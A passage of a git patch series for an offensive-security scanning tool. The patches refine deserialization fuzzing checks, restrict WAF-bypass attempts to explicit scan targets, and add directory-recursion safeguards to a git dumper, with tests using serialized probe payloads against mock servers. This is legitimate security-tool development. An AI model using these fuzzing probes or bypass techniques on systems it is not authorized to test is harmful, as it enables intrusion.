j["url"] = urlunparse((scheme, netloc, parsed_original.path or "/", "", parsed_original.query, "")) # store the archive URL for provenance — downstream modules can check this field j["archive_url"] = str(r.url) - # override host/port/scheme/path to match the original URL (response_to_json set them from archive.org) j["host"] = hostname j["port"] = port j["scheme"] = scheme j["path"] = parsed_original.path or "/" + # cert_info is archive.org's certificate, not the original target's + j.pop("cert_info", None) http_response = self.make_event( j, diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 53c7b14819..589c1fc978 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -151,21 +151,21 @@ async def test_web_request_rejects_conflicting_body_kwargs(bbot_scanner): @pytest.mark.asyncio async def test_web_helpers(bbot_scanner, bbot_httpserver, blasthttp_mock): - # json conversion + # response-to-event-dict conversion + from bbot.core.helpers.web.response_event import response_to_event_dict + scan = bbot_scanner("evilcorp.com") await scan._prep() url = "http://www.evilcorp.com/json_test?a=b" blasthttp_mock.add_response(url=url, text="hello\nworld") response = await scan.helpers.web.request(url) - j = scan.helpers.response_to_json(response) + j = response_to_event_dict(response, url) assert j["status_code"] == 200 assert j["host"] == "www.evilcorp.com" - assert j["scheme"] == "http" assert j["method"] == "GET" - assert j["port"] == 80 assert j["path"] == "/json_test" assert j["body"] == "hello\nworld" - assert j["content_type"] == "text/plain" + assert j["content_type"].startswith("text/plain") assert j["url"] == "http://www.evilcorp.com/json_test?a=b" await scan._cleanup() @@ -669,10 +669,8 @@ def honest_handler(request): assert r1.status_code == 200 assert r1.decode_error - # both HTTP_RESPONSE dict builders carry that reason forward j1 = response_to_event_dict(r1, HTTPSERVER_HOSTPORT) assert j1["decode_error"] == r1.decode_error - assert scan.helpers.response_to_json(r1)["decode_error"] == r1.decode_error # those bytes are not content, so they are not offered as a body or a title assert j1["body"] == "" @@ -687,7 +685,6 @@ def honest_handler(request): assert r2.decode_error is None j2 = response_to_event_dict(r2, HTTPSERVER_HOSTPORT) assert "decode_error" not in j2 - assert "decode_error" not in scan.helpers.response_to_json(r2) event2 = scan.make_event(j2, "HTTP_RESPONSE", parent=scan.root_event) assert event2.data["title"] == "real body" From 5cccd2cd7b753ed4078d82b0f94f040e6368f8b1 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Mon, 5 Oct 2026 15:10:45 -0400 Subject: [PATCH 128/256] Keep inherited port on ClosestHostEvent and restore port from JSON (#3462) Closes #3445. --- bbot/core/event/base.py | 11 ++++++++--- bbot/test/test_step_1/test_events.py | 25 +++++++++++++++++++++++++ 2 files changed, 33 insertions(+), 3 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index efcf12c68d..f3e3f2b13a 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1208,7 +1208,7 @@ def _host(self): class ClosestHostEvent(DictHostEvent): - # if a host/path/url isn't specified, this event type grabs it from the closest parent + # if a host isn't specified, this event type grabs host, port, url and path from the closest parent # inherited by FINDING def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) @@ -1227,9 +1227,9 @@ def __init__(self, *args, **kwargs): # inherit closest host+port if parent.host: self.data["host"] = str(parent.host) - self._port = parent.port - # we do this to refresh the hash + # we do this to refresh the hash (this also clears _port, so it must come first) self.data = self.data + self._port = parent.port break # die if we still haven't found a host if not self.host and not self.data.get("path", ""): @@ -2509,6 +2509,11 @@ def event_from_json(j): resolved_hosts = j.get("resolved_hosts", []) event._resolved_hosts = frozenset(resolved_hosts) if resolved_hosts else None + # some events (e.g. FINDING) carry a port that isn't derivable from their data + port = j.get("port", None) + if port is not None: + event._port = port + http_title = j.get("http_title", "") if http_title: try: diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index b43bc8b2f9..a331172182 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -1175,6 +1175,31 @@ async def test_event_closest_host(): assert vuln.data["path"] == "/tmp/asdf.txt" assert vuln.host == "www.evilcorp.com" + # finding inherits the port from its parent, and keeps it across a json round trip + from bbot.core.event import event_from_json + + open_port = scan.make_event("8.8.8.8:53", "OPEN_TCP_PORT", parent=scan.root_event) + port_finding = scan.make_event( + {"description": "test", "severity": "LOW", "confidence": "MEDIUM", "name": "Test Finding"}, + "FINDING", + parent=open_port, + ) + assert port_finding.host == ipaddress.ip_address("8.8.8.8") + assert port_finding.port == 53 + assert port_finding.json()["port"] == 53 + reconstituted_finding = event_from_json(port_finding.json()) + assert reconstituted_finding.port == 53 + assert reconstituted_finding.id == port_finding.id + # a finding with its own host doesn't inherit anything + own_host_finding = scan.make_event( + {"host": "1.2.3.4", "description": "test", "severity": "LOW", "confidence": "MEDIUM", "name": "Test Finding"}, + "FINDING", + parent=open_port, + ) + assert own_host_finding.port is None + assert "port" not in own_host_finding.json() + assert event_from_json(own_host_finding.json()).port is None + # no host and no path == not allowed event3 = scan.make_event("wat", "ASDF", parent=scan.root_event) assert not event3.host From b2dd81af6110507eef36d9b5070608eacff05e61 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Mon, 5 Oct 2026 15:11:27 -0400 Subject: [PATCH 129/256] Tighten lightfuzz serial Error Resolution (#3427) Error Resolution infers a deserializer from an error that a serialized payload makes disappear. That inference needs the baseline error to be an application-level failure to interpret the payload, and needs the error to hold for as long as the test runs. Neither was checked. - Gate the technique on an allowlist of baseline statuses. A redirect is not an error, 404 is routing, 401/403/429 are policy, and 5xx above 500 is upstream infrastructure. - Replace the single control re-send and the separate scrambled-header twin probe with one trial that samples payload, twin and control together over several rounds. Server state that varies over seconds makes consecutive samples of one request correlated, so the arms have to be interleaved to be comparable. An unanswered sample is now inconclusive rather than confirmation. - Track the single-language-family invariant per host rather than per parameter, and cap how many parameters per host may report the technique. - Drop an error string too generic to tell a deserialization failure from a rejected login. The baseline status guards previously sat on the payload loop, so they also disabled Differential Error Analysis. That technique now runs whatever status the baseline carries. --- bbot/modules/lightfuzz/lightfuzz.py | 3 + bbot/modules/lightfuzz/submodules/serial.py | 112 +++++----- .../module_tests/test_module_lightfuzz.py | 198 ++++++++++++++++-- 3 files changed, 239 insertions(+), 74 deletions(-) diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 77796058a2..edaac38a68 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -94,6 +94,9 @@ async def setup(self): # Per-event baseline cache so submodules with identical request signatures share one HttpCompare. self._baseline_cache = {} + # Scratch space for submodules needing state that outlives a single WEB_PARAMETER, keyed by submodule name. + self.submodule_state = {} + # Cross-event baseline_probe response cache: sibling fields of the same form produce identical requests. self._baseline_probe_response_cache = {} self._baseline_probe_response_cache_max = 200 diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 54b600d6c0..2048c80c19 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -166,7 +166,6 @@ class serial(BaseLightfuzz): } SERIALIZATION_ERRORS = [ - "invalid user", "cannot cast java.lang.string", "dump format error", "java.io.optionaldataexception", @@ -178,6 +177,16 @@ class serial(BaseLightfuzz): "Internal Server Error", ] + # Baseline statuses that can represent an application-level failure to interpret the + # payload, the only kind a deserializer could resolve. 3xx is not an error, 404 is + # routing, 401/403/429 are policy, and 5xx above 500 is upstream infrastructure. + ERROR_RESOLUTION_BASELINE_STATUSES = (500,) + # Rounds of the interleaved trial a candidate must survive. + ERROR_RESOLUTION_TRIAL_ROUNDS = 2 + # Distinct parameters per host allowed to produce Error Resolution findings. Beyond + # this the signal is systemic to the host rather than specific to any parameter. + ERROR_RESOLUTION_HOST_PARAM_CAP = 5 + @property def general_error_yara_rules(self): return self.lightfuzz.serial_general_error_yara_rules @@ -233,12 +242,34 @@ def corrupt_payload(payload, encoding): return corrupted.hex().upper() if payload.isupper() else corrupted.hex() return base64.b64encode(corrupted).decode() - async def confirm_baseline(self, control_payload, cookies): - """Re-send the control payload to confirm the baseline error state is stable (not transient).""" - confirmation = await self.standard_probe(self.event.data["type"], cookies, control_payload) - if confirmation is None: - return None - return getattr(confirmation, "status_code", None) + async def error_resolution_trial(self, payload, control_payload, encoding, cookies, resolved_status): + """Sample payload/twin/control together for several rounds, requiring the payload to + resolve the error and both negatives to preserve it every time. + + The twin parses like the payload but deserializes under nothing, so a twin that also + resolves the error proves the outcome is independent of the payload's content. + Interleaving the arms keeps the comparison within one window of server state. + """ + twin = self.corrupt_payload(payload, encoding) + if twin is None: + return False + for round_number in range(self.ERROR_RESOLUTION_TRIAL_ROUNDS): + if round_number: + await self.lightfuzz.helpers.sleep(0.5) + for probe, arm, should_resolve in ( + (payload, "payload", True), + (twin, "scrambled-header twin", False), + (control_payload, "control", False), + ): + response = await self.standard_probe(self.event.data["type"], cookies, probe) + status = getattr(response, "status_code", None) + if status is None: + self.debug(f"trial round {round_number}: no response for {arm}, inconclusive") + return False + if (status == resolved_status) is not should_resolve: + self.debug(f"trial round {round_number}: {arm} returned {status}, discarding") + return False + return True async def fuzz(self): cookies = self.event.data.get("assigned_cookies", {}) @@ -307,57 +338,20 @@ async def fuzz(self): self.debug(f"Status code {status_code} not in (200, 500), skipping") continue - baseline_status = payload_baseline.baseline.status_code - # Skip Error Resolution if baseline uses a non-standard HTTP status code (>511). - # Non-standard codes (e.g. 512 from GlobalProtect) are application-specific - # and don't reliably indicate an error state that deserialization could "resolve". - if baseline_status > 511: - self.debug( - f"Baseline status {baseline_status} is non-standard (>511), skipping Error Resolution for {payload_type}" - ) - continue - - # Skip inherently unstable baselines: 429 (rate limit) and 403 (often WAF challenge pages) - # flip between error and success unpredictably, producing false positives. - if baseline_status in (403, 429): - self.debug( - f"Baseline status {baseline_status} is transient (WAF/rate-limit), " - f"skipping Error Resolution for {payload_type}" - ) - continue - general_error_matches = await self.lightfuzz.helpers.yara.match( self.general_error_yara_rules, response.text ) + baseline_status = payload_baseline.baseline.status_code if ( status_code == 200 and "code" in diff_reasons + and baseline_status in self.ERROR_RESOLUTION_BASELINE_STATUSES and not general_error_matches # ensure the 200 is not actually an error ): - # Confirm the baseline error state is stable by re-sending the control payload. - # If the control also returns 200 now, the original error was transient. - confirmation_status = await self.confirm_baseline(control_payload, cookies) - if confirmation_status == 200: - self.debug( - f"Baseline confirmation returned 200 for {payload_type}, original error was transient, skipping" - ) + if not await self.error_resolution_trial(payload, control_payload, encoding, cookies, status_code): + self.debug(f"{payload_type} failed the Error Resolution trial, skipping") continue - # a same-shape twin with a scrambled header deserializes under nothing, so if it - # resolves the error too, the value is only being parsed (e.g. as a URL/host) - corrupted_payload = self.corrupt_payload(payload, encoding) - if corrupted_payload is not None: - corrupted_response = await self.standard_probe( - self.event.data["type"], cookies, corrupted_payload - ) - corrupted_status = getattr(corrupted_response, "status_code", None) - if corrupted_status == status_code: - self.debug( - f"Corrupted twin of {payload_type} also returned {corrupted_status}, " - "outcome is independent of payload content, skipping" - ) - continue - def get_title(text): soup = self.lightfuzz.helpers.beautifulsoup(text, "html.parser") if soup and soup.title and soup.title.string: @@ -372,7 +366,7 @@ def get_title(text): "name": "Possible Unsafe Deserialization", "severity": "HIGH", "confidence": "LOW", - "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Error Resolution (Baseline: [{payload_baseline.baseline.status_code}] {baseline_title} -> Probe: [{status_code}] {probe_title})] Serialization Payload: [{payload_type}]", + "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Error Resolution (Baseline: [{baseline_status}] {baseline_title} -> Probe: [{status_code}] {probe_title})] Serialization Payload: [{payload_type}]", "_technique": "error_resolution", "_language": self.payload_language(payload_type), } @@ -397,15 +391,21 @@ def get_title(text): ) break - # Final safety net: if Error Resolution findings span multiple language families, discard them. - # A real deserialization vuln only deserializes one language's format. + # Final safety net, tracked per host: a sink deserializes one language's format, and a + # host whose hits span several families (or too many parameters) is producing noise. error_resolution_results = [r for r in self.results if r.get("_technique") == "error_resolution"] if error_resolution_results: - languages = set(r["_language"] for r in error_resolution_results) - if len(languages) > 1: - self.debug( - f"Error Resolution findings span multiple language families ({languages}), discarding as false positives" - ) + state = self.lightfuzz.submodule_state.setdefault("serial", {}) + host_state = state.setdefault(str(self.event.host), {"languages": set(), "parameters": set()}) + host_state["languages"].update(r["_language"] for r in error_resolution_results) + host_state["parameters"].add(self.parameter_name) + discard_reason = None + if len(host_state["languages"]) > 1: + discard_reason = f"host hit multiple language families ({sorted(host_state['languages'])})" + elif len(host_state["parameters"]) > self.ERROR_RESOLUTION_HOST_PARAM_CAP: + discard_reason = f"host exceeded {self.ERROR_RESOLUTION_HOST_PARAM_CAP} Error Resolution parameters" + if discard_reason: + self.verbose(f"Discarding Error Resolution findings: {discard_reason}") self.results = [r for r in self.results if r.get("_technique") != "error_resolution"] # Clean up internal metadata keys before results are emitted diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 30c5dd5f3c..94a2a93272 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -17,6 +17,7 @@ from bbot.modules.base import BaseModule from bbot.core.helpers.nowafpls import BypassResult from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz +from bbot.modules.lightfuzz.submodules.serial import serial as serial_submodule from .test_module_paramminer_headers import helper from bbot.test.worker import HTTPSERVER_URL @@ -2067,7 +2068,8 @@ def request_handler(self, request): else: dotnet_serial_reflection = ( - f"

    invalid user

    reflected input: {post_params['TextBox1']}" + "

    java.io.OptionalDataException

    " + f"

    reflected input: {post_params['TextBox1']}" ) return Response(dotnet_serial_reflection, status=500) @@ -2080,8 +2082,8 @@ def check(self, module_test, events): # Serialization Module (Error Resolution - Transient Baseline) -# Simulates a server that returns 500 on the first request (baseline), then 200 for everything after. -# The confirmation re-send of the control payload should catch this and suppress the finding. +# A server whose error state does not survive the first request has no baseline to resolve, +# so no finding may be reported. class Test_Lightfuzz_serial_errorresolution_transient_baseline(Test_Lightfuzz_serial_errorresolution): request_count = 0 @@ -2106,9 +2108,42 @@ def check(self, module_test, events): assert no_finding_emitted, "False positive Error Resolution finding was emitted despite transient baseline" +# Magic headers identifying a serialized object of each language family. A handler keyed on +# these accepts every real payload while rejecting the controls and the scrambled-header twins. +JAVA_SERIAL_HEADER = b"\xac\xed\x00\x05" +DOTNET_SERIAL_HEADER = b"\x00\x01\x00\x00" +SERIAL_MAGIC_HEADERS = (JAVA_SERIAL_HEADER, DOTNET_SERIAL_HEADER, b"\x80\x04", b"\x04\x08", b"a:") + + +def carries_serialization_header(value): + """True if ``value`` decodes (raw, base64, or hex) to a recognized serialization header.""" + candidates = [value.encode()] + for decoder in (base64.b64decode, bytes.fromhex): + try: + candidates.append(decoder(value)) + except Exception: + pass + return any(c.startswith(SERIAL_MAGIC_HEADERS) for c in candidates) + + +def error_resolution_languages(events): + """Language families named by the Error Resolution findings in ``events``.""" + languages = set() + for e in events: + if e.type != "FINDING": + continue + description = e.data.get("description", "") + if "Error Resolution" not in description: + continue + match = re.search(r"Serialization Payload: \[([a-z0-9_]+)\]", description) + if match: + languages.add(match.group(1).split("_")[0]) + return languages + + # Serialization Module (Error Resolution - Multi-Language Family False Positive) -# Simulates a server where ALL serialization payloads resolve the error (500->200), -# spanning multiple language families. The multi-family check should discard them all. +# A host that resolves its error for several language families is not deserializing any one of +# them, so none of its Error Resolution findings may be reported. class Test_Lightfuzz_serial_errorresolution_multi_language(Test_Lightfuzz_serial_errorresolution): def request_handler(self, request): post_params = request.form @@ -2116,21 +2151,13 @@ def request_handler(self, request): if "TextBox1" not in post_params.keys(): return Response(self.dotnet_serial_html, status=200) - # __VIEWSTATE mismatch triggers the baseline path - if post_params["__VIEWSTATE"] != "/wEPDwULLTE5MTI4MzkxNjVkZNt7ICM+GixNryV6ucx+srzhXlwP": - return Response(self.dotnet_serial_error, status=500) - - # ALL payloads "resolve" the error - this is the false positive scenario - return Response("OK", status=200) + if carries_serialization_header(post_params["TextBox1"]): + return Response("OK", status=200) + return Response(self.dotnet_serial_error, status=500) def check(self, module_test, events): - no_finding_emitted = True - for e in events: - if e.type == "FINDING" and "Error Resolution" in e.data.get("description", ""): - no_finding_emitted = False - assert no_finding_emitted, ( - "False positive Error Resolution finding was emitted despite multiple language families triggering" - ) + languages = error_resolution_languages(events) + assert not languages, f"Error Resolution findings emitted for multiple language families: {languages}" class Test_Lightfuzz_serial_errorresolution_nonstandard_status(Test_Lightfuzz_serial_errorresolution): @@ -2165,6 +2192,141 @@ def check(self, module_test, events): ) +# Serialization Module (Error Resolution - Non-Error Baseline) +# Error Resolution infers a deserializer from an application-level failure to interpret the +# payload. A baseline that is not such a failure cannot be resolved, whatever the probe returns. +class _SerialNonErrorBaseline(Test_Lightfuzz_serial_errorresolution): + def request_handler(self, request): + post_params = request.form + if "TextBox1" not in post_params.keys(): + return Response(self.dotnet_serial_html, status=200) + if post_params["TextBox1"] == "AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==": + return Response("Deserialization successful!", status=200) + return Response(self.dotnet_serial_error, status=self.baseline_status) + + def check(self, module_test, events): + findings = [ + e.data["description"] + for e in events + if e.type == "FINDING" and "Error Resolution" in e.data.get("description", "") + ] + assert not findings, f"Error Resolution finding emitted for a [{self.baseline_status}] baseline: {findings}" + + +class Test_Lightfuzz_serial_errorresolution_gateway_baseline(_SerialNonErrorBaseline): + baseline_status = 503 + + +class Test_Lightfuzz_serial_errorresolution_redirect_baseline(_SerialNonErrorBaseline): + baseline_status = 302 + + +class Test_Lightfuzz_serial_errorresolution_routing_baseline(_SerialNonErrorBaseline): + baseline_status = 404 + + +# Serialization Module (Error Resolution - Unstable Control) +# The error state must hold for the control across the whole trial, not just while the baseline +# is established, so a control that starts succeeding mid-trial withdraws the finding. +class Test_Lightfuzz_serial_errorresolution_unstable_control(Test_Lightfuzz_serial_errorresolution): + control_request_count = 0 + + def request_handler(self, request): + post_params = request.form + if "TextBox1" not in post_params.keys(): + return Response(self.dotnet_serial_html, status=200) + + submitted = post_params["TextBox1"] + if submitted == serial_submodule.CONTROL_PAYLOAD_BASE64: + self.control_request_count += 1 + # the baseline pair and the first trial round error, later control samples succeed + if self.control_request_count > 3: + return Response("OK", status=200) + elif submitted == "AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==": + return Response("Deserialization successful!", status=200) + return Response(self.dotnet_serial_error, status=500) + + def check(self, module_test, events): + findings = [ + e.data["description"] + for e in events + if e.type == "FINDING" and "Error Resolution" in e.data.get("description", "") + ] + assert not findings, f"Error Resolution finding emitted despite an unstable control: {findings}" + + +# Serialization Module (Error Resolution - Multi-Language Family Across Parameters) +# The single-language-family invariant holds for the host, not for one parameter, so families +# split across two parameters must still collapse to one. +class Test_Lightfuzz_serial_errorresolution_multi_language_per_host(Test_Lightfuzz_serial_errorresolution): + dotnet_serial_html = """ + + + + Deserialization RCE Example + + +

    +
    +
    +
    + +
    +
    + + + """ + + def request_handler(self, request): + post_params = request.form + if "TextBox1" not in post_params.keys() and "TextBox2" not in post_params.keys(): + return Response(self.dotnet_serial_html, status=200) + + # TextBox1 accepts only java, TextBox2 only dotnet + for field, header in (("TextBox1", JAVA_SERIAL_HEADER), ("TextBox2", DOTNET_SERIAL_HEADER)): + value = post_params.get(field, "") + if value: + try: + decoded = base64.b64decode(value) + except Exception: + decoded = b"" + if decoded.startswith(header): + return Response("OK", status=200) + return Response(self.dotnet_serial_error, status=500) + + def check(self, module_test, events): + languages = error_resolution_languages(events) + assert languages, "No Error Resolution finding was emitted for either parameter" + assert len(languages) == 1, f"Error Resolution findings spanned multiple language families: {languages}" + + +# Serialization Module (Differential Error Analysis - Non-Error Baseline) +# Differential Error Analysis rests on a framework error string appearing in the probe and not +# the baseline, so it stays available whatever status the baseline carries. +class Test_Lightfuzz_serial_errordifferential_nonstandard_baseline(Test_Lightfuzz_serial_errorresolution): + java_cast_error = """ + +

    java.lang.ClassCastException: Cannot cast java.lang.String to com.example.User

    + + """ + + def request_handler(self, request): + post_params = request.form + if "TextBox1" not in post_params.keys(): + return Response(self.dotnet_serial_html, status=200) + if post_params["TextBox1"] == "rO0ABXQABHRlc3Q=": + return Response(self.java_cast_error, status=500) + return Response(self.dotnet_serial_error, status=512) + + def check(self, module_test, events): + assert any( + e.type == "FINDING" + and "Technique: [Differential Error Analysis]" in e.data.get("description", "") + and "Error-String: [cannot cast java.lang.string]" in e.data.get("description", "") + for e in events + ), "Differential Error Analysis was not reported for a non-standard baseline status" + + # Python pickle Error Resolution — verifies the new python_pickle_base64 # payload flips a baseline UnpicklingError 500 into a 200, which is the # canonical detection path for all languages in the serial submodule. From 4268e23bd8beff4a188914e45a926bd2004fc316 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Mon, 5 Oct 2026 15:11:43 -0400 Subject: [PATCH 130/256] waf_bypass: only attempt bypasses against scan targets by default (#3460) * add scan_targets_only option to waf_bypass * waf_bypass: enable scan_targets_only by default --- bbot/modules/waf_bypass.py | 32 +++++++++- .../module_tests/test_module_waf_bypass.py | 60 ++++++++++++++++--- docs/scanning/configuration.md | 1 + 3 files changed, 84 insertions(+), 9 deletions(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 0dce939002..a30debfc7b 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -16,6 +16,8 @@ class waf_bypass(BaseModule): In finish(), we test if WAF-protected content can be accessed directly via IPs from non-protected domains. Optionally, it explores IP neighbors within the same ASN to find additional bypass candidates. + + The `scan_targets_only` option narrows which protected hosts are attempted (candidate discovery is unaffected). """ watched_events = ["URL"] @@ -36,6 +38,10 @@ class Config(BaseModuleConfig): ge=1, description="Maximum number of concurrent bypass-attempt HTTP checks in finish()", ) + scan_targets_only: bool = Field( + True, + description="Only attempt bypasses against WAF-protected hosts that were explicitly specified as scan targets", + ) meta = { "description": "Detects potential WAF bypasses", @@ -52,6 +58,17 @@ async def setup(self): self.search_ip_neighbors = self.config.get("search_ip_neighbors", True) self.neighbor_cidr = int(self.config.get("neighbor_cidr", 24)) + # When scan_targets_only is enabled (the default), only hosts named verbatim in the scan's targets/seeds are + # attempted. Strict scope means a target of "evilcorp.com" won't match "www.evilcorp.com". + self.explicit_targets = None + if self.config.get("scan_targets_only", True): + self.explicit_targets = self.helpers.make_target( + *self.scan.target.target.event_seeds, + *self.scan.target.seeds.event_seeds, + strict_scope=True, + ) + self.verbose(f"Restricting bypass attempts to {len(self.explicit_targets)} explicit scan target(s)") + # Keep track of (protected_domain, ip) pairs we have already attempted to bypass self.attempted_bypass_pairs = set() # Keep track of any IPs that came from hosts that are "cloud-ips" @@ -101,6 +118,11 @@ async def handle_event(self, event): self.protected_domains[domain] = event self.debug(f"Found {provider_name}-protected domain: {domain}") + # ineligible hosts still count towards candidate discovery, they just aren't fingerprinted or attempted + if not self.bypass_eligible(domain): + self.debug(f"Skipping {domain}: not an explicit scan target") + return + response = await self.get_url_content(url) if not response: self.debug(f"Failed to get response from protected URL {url}") @@ -119,6 +141,10 @@ async def handle_event(self, event): } self.debug(f"Stored simhash of response from {url} (content length: {len(response.text)})") + def bypass_eligible(self, host): + """Whether a WAF-protected host is allowed to be attempted (all of them if scan_targets_only is disabled)""" + return self.explicit_targets is None or host in self.explicit_targets + async def get_url_content(self, url, ip=None): """Helper function to fetch content from a URL, optionally through specific IP""" try: @@ -174,6 +200,10 @@ async def check_ip(self, ip, source_domain, protected_domain, source_event): async def finish(self): self.verbose(f"Found {len(self.protected_domains)} Protected Domains") + eligible_domains = {d: e for d, e in self.protected_domains.items() if self.bypass_eligible(d)} + if self.explicit_targets is not None: + self.verbose(f"{len(eligible_domains)} of them are explicit scan targets and will be attempted") + confirmed_bypasses = [] # [(protected_url, matching_ip, similarity)] ip_bypass_candidates = {} # {ip: domain} waf_ips = set() @@ -239,7 +269,7 @@ async def finish(self): coros = [] new_pairs_count = 0 - for protected_domain, source_event in self.protected_domains.items(): + for protected_domain, source_event in eligible_domains.items(): for ip, src in ip_bypass_candidates.items(): combo = (protected_domain, ip) if combo in self.attempted_bypass_pairs: diff --git a/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py index 8140ebbcbd..243855a8b3 100644 --- a/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py +++ b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py @@ -37,12 +37,13 @@ class DummyModule(BaseModule): watched_events = ["DNS_NAME"] _name = "dummy_module" events_seen = [] + protected_host = "protected.test" async def handle_event(self, event): if event.data == "protected.test": await self.helpers.sleep(0.5) self.events_seen.append(event.data) - url = f"http://protected.test:{HTTPSERVER_PORT}/" + url = f"http://{self.protected_host}:{HTTPSERVER_PORT}/" url_event = self.scan.make_event( url, "URL", parent=self.scan.root_event, tags=["cloudflare", "in-scope", "status-200"] ) @@ -59,14 +60,14 @@ async def handle_event(self, event): if url_event is not None: await self.emit_event(url_event) + dns_mock = { + "protected.test": {"A": [PROTECTED_IP]}, + "direct.test": {"A": [DIRECT_IP]}, + "": {"A": []}, + } + async def setup_after_prep(self, module_test): - await module_test.mock_dns( - { - "protected.test": {"A": [self.PROTECTED_IP]}, - "direct.test": {"A": [self.DIRECT_IP]}, - "": {"A": []}, - } - ) + await module_test.mock_dns(self.dns_mock) self.module_test = module_test @@ -138,6 +139,49 @@ def check(self, module_test, events): assert correct_description, "Incorrect description" +class TestWAFBypassScanTargetsOnlySkip(TestWAFBypass): + """By default, a protected host that isn't a scan target is discovered but never attempted""" + + PROTECTED_HOST = "sub.protected.test" + + dns_mock = { + "protected.test": {"A": [TestWAFBypass.PROTECTED_IP]}, + PROTECTED_HOST: {"A": [TestWAFBypass.PROTECTED_IP]}, + "direct.test": {"A": [TestWAFBypass.DIRECT_IP]}, + "": {"A": []}, + } + + class DummyModule(TestWAFBypass.DummyModule): + protected_host = "sub.protected.test" + + def check(self, module_test, events): + module = module_test.scan.modules["waf_bypass"] + # candidate discovery is unaffected -- the host is still tracked, so its IP stays out of the candidate pool + assert self.PROTECTED_HOST in module.protected_domains, "Protected host was not discovered" + assert not module.content_fingerprints, "Non-target protected host should not be fingerprinted" + assert not module.attempted_bypass_pairs, "No bypasses should have been attempted" + assert not [e for e in events if e.type == "FINDING"], "FINDING produced for a non-target host" + + +class TestWAFBypassAllHosts(TestWAFBypassScanTargetsOnlySkip): + """With scan_targets_only disabled, a protected host that isn't a scan target is still attempted""" + + config_overrides = { + "scope": {"report_distance": 2}, + "modules": { + "waf_bypass": {"search_ip_neighbors": True, "neighbor_cidr": 30, "scan_targets_only": False}, + }, + } + + def check(self, module_test, events): + assert any( + e.type == "FINDING" + and f"WAF Bypass Confirmed - Direct IPs: 127.0.0.1 for http://{self.PROTECTED_HOST}:{HTTPSERVER_PORT}/" + in e.data["description"] + for e in events + ), "No bypass FINDING for the non-target protected host" + + class TestWAFBypassTagRecognition(ModuleTestBase): """Regression: waf_bypass keys off the flat cloud-provider tags cloudcheck emits post-`Migrate cloudcheck to host_metadata` refactor. Both `cloudflare` and `imperva` diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index af42fc6be0..a8605da665 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -589,6 +589,7 @@ In addition to the stated options for each module, the following universal optio | modules.virtualhost.wordcloud_check | bool | Enable check using scan-wide wordcloud data on target host | False | | modules.waf_bypass.max_concurrent_checks | int | Maximum number of concurrent bypass-attempt HTTP checks in finish() | 100 | | modules.waf_bypass.neighbor_cidr | int | CIDR mask (24-31) used for neighbor enumeration when search_ip_neighbors is true | 28 | +| modules.waf_bypass.scan_targets_only | bool | Only attempt bypasses against WAF-protected hosts that were explicitly specified as scan targets | True | | modules.waf_bypass.search_ip_neighbors | bool | Also check IP neighbors of the target domain | True | | modules.waf_bypass.similarity_threshold | float | Similarity threshold for content matching | 0.9 | | modules.wafw00f.generic_detect | bool | When no specific WAF detections are made, try to perform a generic detect | True | From fd60ef53f2d0f3b3d348123dde579cd4900a8d24 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Mon, 5 Oct 2026 16:48:41 -0400 Subject: [PATCH 131/256] Add origin check and depth limit to gitdumper directory listing (#3466) The folder branch of recursive_dir_list() was missing the same origin check that the file branch already had, allowing urljoin() to resolve absolute URLs to arbitrary hosts. Also adds a max_depth parameter to prevent unbounded recursion on malicious directory structures. --- bbot/modules/gitdumper.py | 11 ++- .../test_step_1/test_gitdumper_safeguards.py | 70 +++++++++++++++++++ 2 files changed, 78 insertions(+), 3 deletions(-) diff --git a/bbot/modules/gitdumper.py b/bbot/modules/gitdumper.py index 791347fb9c..aee6e984e6 100644 --- a/bbot/modules/gitdumper.py +++ b/bbot/modules/gitdumper.py @@ -146,7 +146,10 @@ async def directory_listing_enabled(self, repo_url): return response return None - async def recursive_dir_list(self, dir_listing): + async def recursive_dir_list(self, dir_listing, _depth=0, _max_depth=10): + if _depth >= _max_depth: + self.verbose(f"Maximum directory listing depth ({_max_depth}) reached at {dir_listing.url}") + return [] file_list = [] soup = self.helpers.beautifulsoup(dir_listing.text, "html.parser") links = soup.find_all("a") @@ -156,12 +159,14 @@ async def recursive_dir_list(self, dir_listing): continue if href.endswith("/"): folder_url = self.helpers.urljoin(str(dir_listing.url), href) + if not folder_url.startswith(str(dir_listing.url)): + self.verbose(f"Skipping out-of-scope directory link: {folder_url}") + 